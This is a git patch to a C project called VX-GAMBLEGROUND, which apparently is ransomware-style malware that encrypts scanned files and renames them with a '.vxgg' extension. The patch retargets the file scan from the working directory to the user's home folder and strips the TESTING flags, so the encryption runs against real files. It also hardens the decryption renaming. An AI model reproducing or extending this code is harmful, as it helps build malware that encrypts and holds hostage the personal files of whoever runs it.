From 3e2a45287d189be18c90f2e5e1ce49af08808e6d Mon Sep 17 00:00:00 2001 From: "@syxhe" Date: Tue, 3 Sep 2024 14:23:21 -0500 Subject: Change encryption to work from home folder --- src/VX-GAMBLEGROUND.h | 2 +- src/encryption.c | 11 ++++++++--- src/screen.c | 1 - 3 files changed, 9 insertions(+), 5 deletions(-) diff --git a/src/VX-GAMBLEGROUND.h b/src/VX-GAMBLEGROUND.h index 6d379c2..6c63f21 100644 --- a/src/VX-GAMBLEGROUND.h +++ b/src/VX-GAMBLEGROUND.h @@ -12,7 +12,7 @@ struct arguments { #define SKIPENC 0x2 // This will later be changed to "~/" -#define FILESCAN_START "./" +#define FILESCAN_START "~/" #define PHRASESIZE 32 int genphrase(char *phrase, size_t phrasesize); diff --git a/src/encryption.c b/src/encryption.c index 4327506..0bc3d50 100644 --- a/src/encryption.c +++ b/src/encryption.c @@ -5,7 +5,6 @@ */ #define _GNU_SOURCE -#define TESTING #include "encryption.h" #include "ll.h" @@ -237,9 +236,15 @@ int ENorDE_cryptvxgg(const struct nodelist *list, const char *passphrase, int fl if(flag == VXGG_DECRYPT) { char *newname = NULL; #ifndef TESTING - asprintf(&newname, "%%0.%lds", strlen(p->fullpath) - strlen(".vxgg")); + if(asprintf(&newname, "%%0.%lds", strlen(p->fullpath) - strlen(".vxgg")) < 0) { + endwin(); + error(1, errno, "[VX-GAMBLEGROUND] Couldn't get shortened name"); + } #else - asprintf(&newname, "%%0.%lds", strlen(p->fullpath) - strlen(".vxgg") - PHRASESIZE - 1); + if(asprintf(&newname, "%%0.%lds", strlen(p->fullpath) - strlen(".vxgg") - PHRASESIZE - 1) < 0) { + endwin(); + error(1, errno, "[VX-GAMBLEGROUND] Couldn't get shortened name"); + } #endif rename_format(p->fullpath, newname, p->fullpath); free(newname); diff --git a/src/screen.c b/src/screen.c index dfee01d..f71273e 100644 --- a/src/screen.c +++ b/src/screen.c @@ -29,7 +29,6 @@ #include #include -#define TESTING //////////////////////////////////// SPECIFICALLY USEFUL FUNCS //////////////////////////////////// -- cgit v1.2.3